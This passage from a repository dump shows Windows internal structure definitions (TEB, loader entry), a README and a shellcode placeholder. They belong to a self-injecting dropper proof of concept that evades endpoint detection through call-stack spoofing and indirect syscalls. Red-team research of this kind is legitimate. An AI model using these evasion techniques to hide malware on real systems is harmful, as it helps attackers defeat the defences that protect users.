!defined(EXPLICIT_32BIT)\r\n\tPVOID                  DeallocationBStore;\r\n\tPVOID                  BStoreLimit;\r\n#endif\r\n\tULONG                  ImpersonationLocale;\r\n\tULONG                  IsImpersonating;\r\n\tPVOID                  NlsCache;\r\n\tPVOID                  pShimData;\r\n\tULONG                  HeapVirtualAffinity;\r\n\tHANDLE                 CurrentTransactionHandle;\r\n\tPTEB_ACTIVE_FRAME      ActiveFrame;\r\n#if (NTDDI_VERSION >= NTDDI_WS03)\r\n\tPVOID FlsData;\r\n#endif\r\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\r\n\tPVOID PreferredLangauges;\r\n\tPVOID UserPrefLanguages;\r\n\tPVOID MergedPrefLanguages;\r\n\tULONG MuiImpersonation;\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tUSHORT SpareCrossTebFlags : 16;\r\n\t\t};\r\n\t\tUSHORT CrossTebFlags;\r\n\t};\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tUSHORT DbgSafeThunkCall : 1;\r\n\t\t\tUSHORT DbgInDebugPrint : 1;\r\n\t\t\tUSHORT DbgHasFiberData : 1;\r\n\t\t\tUSHORT DbgSkipThreadAttach : 1;\r\n\t\t\tUSHORT DbgWerInShipAssertCode : 1;\r\n\t\t\tUSHORT DbgIssuedInitialBp : 1;\r\n\t\t\tUSHORT DbgClonedThread : 1;\r\n\t\t\tUSHORT SpareSameTebBits : 9;\r\n\t\t};\r\n\t\tUSHORT SameTebFlags;\r\n\t};\r\n\tPVOID TxnScopeEntercallback;\r\n\tPVOID TxnScopeExitCAllback;\r\n\tPVOID TxnScopeContext;\r\n\tULONG LockCount;\r\n\tULONG ProcessRundown;\r\n\tULONG64 LastSwitchTime;\r\n\tULONG64 TotalSwitchOutTime;\r\n\tLARGE_INTEGER WaitReasonBitMap;\r\n#else\r\n\tBOOLEAN SafeThunkCall;\r\n\tBOOLEAN BooleanSpare[3];\r\n#endif\r\n} TEB, * PTEB;\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY {\r\n\tLIST_ENTRY InLoadOrderLinks;\r\n\tLIST_ENTRY InMemoryOrderLinks;\r\n\tLIST_ENTRY InInitializationOrderLinks;\r\n\tPVOID DllBase;\r\n\tPVOID EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING FullDllName;\r\n\tUNICODE_STRING BaseDllName;\r\n\tULONG Flags;\r\n\tWORD LoadCount;\r\n\tWORD TlsIndex;\r\n\tunion {\r\n\t\tLIST_ENTRY HashLinks;\r\n\t\tstruct {\r\n\t\t\tPVOID SectionPointer;\r\n\t\t\tULONG CheckSum;\r\n\t\t};\r\n\t};\r\n\tunion {\r\n\t\tULONG TimeDateStamp;\r\n\t\tPVOID LoadedImports;\r\n\t};\r\n\tPACTIVATION_CONTEXT EntryPointActivationContext;\r\n\tPVOID PatchInformation;\r\n\tLIST_ENTRY ForwarderLinks;\r\n\tLIST_ENTRY ServiceTagLinks;\r\n\tLIST_ENTRY StaticLinks;\r\n} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;\r\n\r\ntypedef struct _OBJECT_ATTRIBUTES {\r\n\tULONG Length;\r\n\tPVOID RootDirectory;\r\n\tPUNICODE_STRING ObjectName;\r\n\tULONG Attributes;\r\n\tPVOID SecurityDescriptor;\r\n\tPVOID SecurityQualityOfService;\r\n} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\r\n\r\ntypedef struct _INITIAL_TEB {\r\n\tPVOID                StackBase;\r\n\tPVOID                StackLimit;\r\n\tPVOID                StackCommit;\r\n\tPVOID                StackCommitMax;\r\n\tPVOID                StackReserved;\r\n} INITIAL_TEB, * PINITIAL_TEB;"
  },
  {
    "path": "README.md",
    "content": "# Callstack spoofing + Indirect Syscalls POC\nThis project consists of a simple C++ self-Injecting dropper focused on EDR evasion POC. To implement it, I have combined the use of  **``Windows Thread Pooling``**  to hide the call stack and the use of  **``indirect syscalls``**  to avoid hooking in the NTDLL.\n<br>\n\n![2023-10-08-23-22-35-Trim](https://github.com/pard0p/Cordyceps/assets/79936108/060db2ad-2c02-4501-bc86-5be0cff78711)\n\n![image](https://github.com/pard0p/Cordyceps/assets/79936108/231e3722-9190-4846-88d9-66870acb7eb2)\n\n![image](https://github.com/pard0p/Cordyceps/assets/79936108/742dee9c-7c91-41cb-9dd9-4a22985bfc5b)\n\n![image](https://github.com/pard0p/Cordyceps/assets/79936108/aeefb8d2-cf8a-4d79-969a-7e195e878731)\n\n![image](https://github.com/pard0p/Cordyceps/assets/79936108/eac6158f-f1f6-41f7-878f-2c1333a06b54)\n\nAs can be seen in the images, from the Cordyceps code, it performs a jump to ntdll to utilize one of the syscall instructions. This should be considered a malicious action; however, upon executing the return in ntdll, we return to the code of tpWorker, which is located within ntdll. Thus, from the perspective of the antivirus (AV), ntdll would appear to be making a call to another part of ntdll, which is not considered malicious.\n\n## Future Upgrades:\n- [x] Implement a mechanism to automatically search for the syscall number.\n- [ ] In-memory payload decryption.\n\n## To compile:\n\n```bash\nnasm -f win64 .\\Assembly.asm -o .\\Assembly.obj\ng++ -o poc.exe main.cpp Assembly.obj\n```\n\n## Resources:\n\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\n\nhttps://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls\n\nhttps://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html\n\nhttps://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/\n\nhttps://medium.com/@sruthk/cracking-assembly-fastcall-calling-convention-in-x64-c6d77b51ea86\n"
  },
  {
    "path": "Shellcode.h",
    "content": "unsigned char code[] = \" --- SHELCODE ---\";"
  }
]